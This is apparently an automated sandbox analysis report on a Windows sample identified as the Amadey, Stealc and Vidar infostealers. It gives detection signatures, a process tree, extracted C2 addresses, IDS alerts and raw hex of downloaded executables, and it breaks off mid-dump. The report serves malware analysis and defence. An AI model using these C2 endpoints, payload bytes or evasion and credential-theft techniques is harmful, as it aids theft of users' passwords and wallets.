Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1467852
MD5:	de1d8c161d81ba79c888fef77c75db93
SHA1:	55e3b5e658d41d98779214afb48d34c66bf17346
SHA256:	31cbdcdb540d6bc6fbc616c288f6f7ad7c74fe74eff55a135dafc31853b76126
Tags:	exe
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE1D8C161D81BA79C888FEF77C75DB93)

cmd.exe (PID: 4372 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CFBAKEHIEB.exe (PID: 768 cmdline: "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe" MD5: 32990CFA629B89533FB2A04AE8E966C5)

explorti.exe (PID: 1988 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 32990CFA629B89533FB2A04AE8E966C5)

cmd.exe (PID: 7108 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\DAFHIDGIJK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 4256 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 32990CFA629B89533FB2A04AE8E966C5)

explorti.exe (PID: 4724 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 32990CFA629B89533FB2A04AE8E966C5)

0244247334.exe (PID: 4320 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe" MD5: DE1D8C161D81BA79C888FEF77C75DB93)

06f6d9547f.exe (PID: 5024 cmdline: "C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe" MD5: 86738DD73219B83320BA19AF11C97E11)

chrome.exe (PID: 2800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5504 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.30/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.30/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2463090610.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2536047263.0000000000641000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3240531583.0000000000641000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000D.00000003.2675197163.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2503437125.0000000000371000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2491110423.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2531523803.0000000000641000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2495081397.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3472	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3472	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0244247334.exe PID: 4320	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.explorti.exe.640000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.explorti.exe.640000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.CFBAKEHIEB.exe.370000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explorti.exe.640000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.7b0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.7b0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
14.2.0244247334.exe.720000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.0244247334.exe.720000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 3 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.5

Timestamp:	07/04/24-22:20:23.150947
SID:	2051831
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.5

Timestamp:	07/04/24-22:20:22.958025
SID:	2051828
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-22:20:22.959796
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-22:19:54.597764
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.30

Timestamp:	07/04/24-22:20:22.774261
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Code function: 0_2_6C566C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C566C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49743 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.5:49717 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49704 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49704 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.30:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49704 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.30:80 -> 192.168.2.5:49704

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 